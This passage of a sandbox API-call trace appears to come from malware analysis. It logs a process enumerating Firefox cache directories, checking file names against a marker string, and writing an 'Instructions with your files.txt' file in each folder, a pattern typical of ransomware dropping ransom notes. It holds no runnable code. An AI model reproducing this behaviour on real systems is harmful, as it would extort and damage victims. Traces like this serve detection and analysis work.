[0130.677] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x204fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="FCBF5d01", cAlternateFileName="")) returned 0
[0130.677] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\Instructions with your files.txt") returned 133
[0130.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.677] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.678] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.678] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.678] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.679] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.679] CloseHandle (hObject=0x12c) returned 1
[0130.679] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.679] GetProcessHeap () returned 0x810000
[0130.679] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.679] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2", cAlternateFileName="")) returned 1
[0130.679] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2") returned 100
[0130.679] GetProcessHeap () returned 0x810000
[0130.679] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.679] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*") returned 102
[0130.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.680] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\.") returned 102
[0130.680] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.680] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\..") returned 103
[0130.680] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8272e2f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B619d01", cAlternateFileName="")) returned 1
[0130.680] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01") returned 109
[0130.680] StrStrIW (lpFirst="0B619d01", lpSrch="SDfghjkl") returned 0x0
[0130.680] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8272e2f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x0, dwReserved1=0x0, cFileName="0B619d01", cAlternateFileName="")) returned 0
[0130.680] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\Instructions with your files.txt") returned 133
[0130.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.680] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.681] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.681] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.681] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.681] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.682] CloseHandle (hObject=0x12c) returned 1
[0130.682] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.682] GetProcessHeap () returned 0x810000
[0130.682] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.682] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 1
[0130.682] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6") returned 100
[0130.682] GetProcessHeap () returned 0x810000
[0130.682] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.682] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*") returned 102
[0130.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.682] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\.") returned 102
[0130.682] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.682] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\..") returned 103
[0130.682] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBD4Dd01", cAlternateFileName="")) returned 1
[0130.682] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01") returned 109
[0130.682] StrStrIW (lpFirst="CBD4Dd01", lpSrch="SDfghjkl") returned 0x0
[0130.682] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBD4Dd01", cAlternateFileName="")) returned 0
[0130.682] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\Instructions with your files.txt") returned 133
[0130.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.683] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.684] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.684] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.684] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.684] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.684] CloseHandle (hObject=0x12c) returned 1
[0130.684] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.684] GetProcessHeap () returned 0x810000
[0130.684] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.684] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 0
[0130.684] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\Instructions with your files.txt") returned 130
[0130.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.685] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.686] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.686] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.686] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.686] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.686] CloseHandle (hObject=0x128) returned 1
[0130.686] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.686] GetProcessHeap () returned 0x810000
[0130.686] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.687] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1
[0130.687] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned 97
[0130.687] GetProcessHeap () returned 0x810000
[0130.687] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.688] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*") returned 99
[0130.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.689] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\.") returned 99
[0130.689] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.689] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\..") returned 100
[0130.689] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.689] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\Instructions with your files.txt") returned 130
[0130.689] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\2\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.689] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.690] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.690] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.691] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.691] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.691] CloseHandle (hObject=0x128) returned 1
[0130.691] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.691] GetProcessHeap () returned 0x810000
[0130.691] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.691] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1
[0130.691] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned 97
[0130.691] GetProcessHeap () returned 0x810000
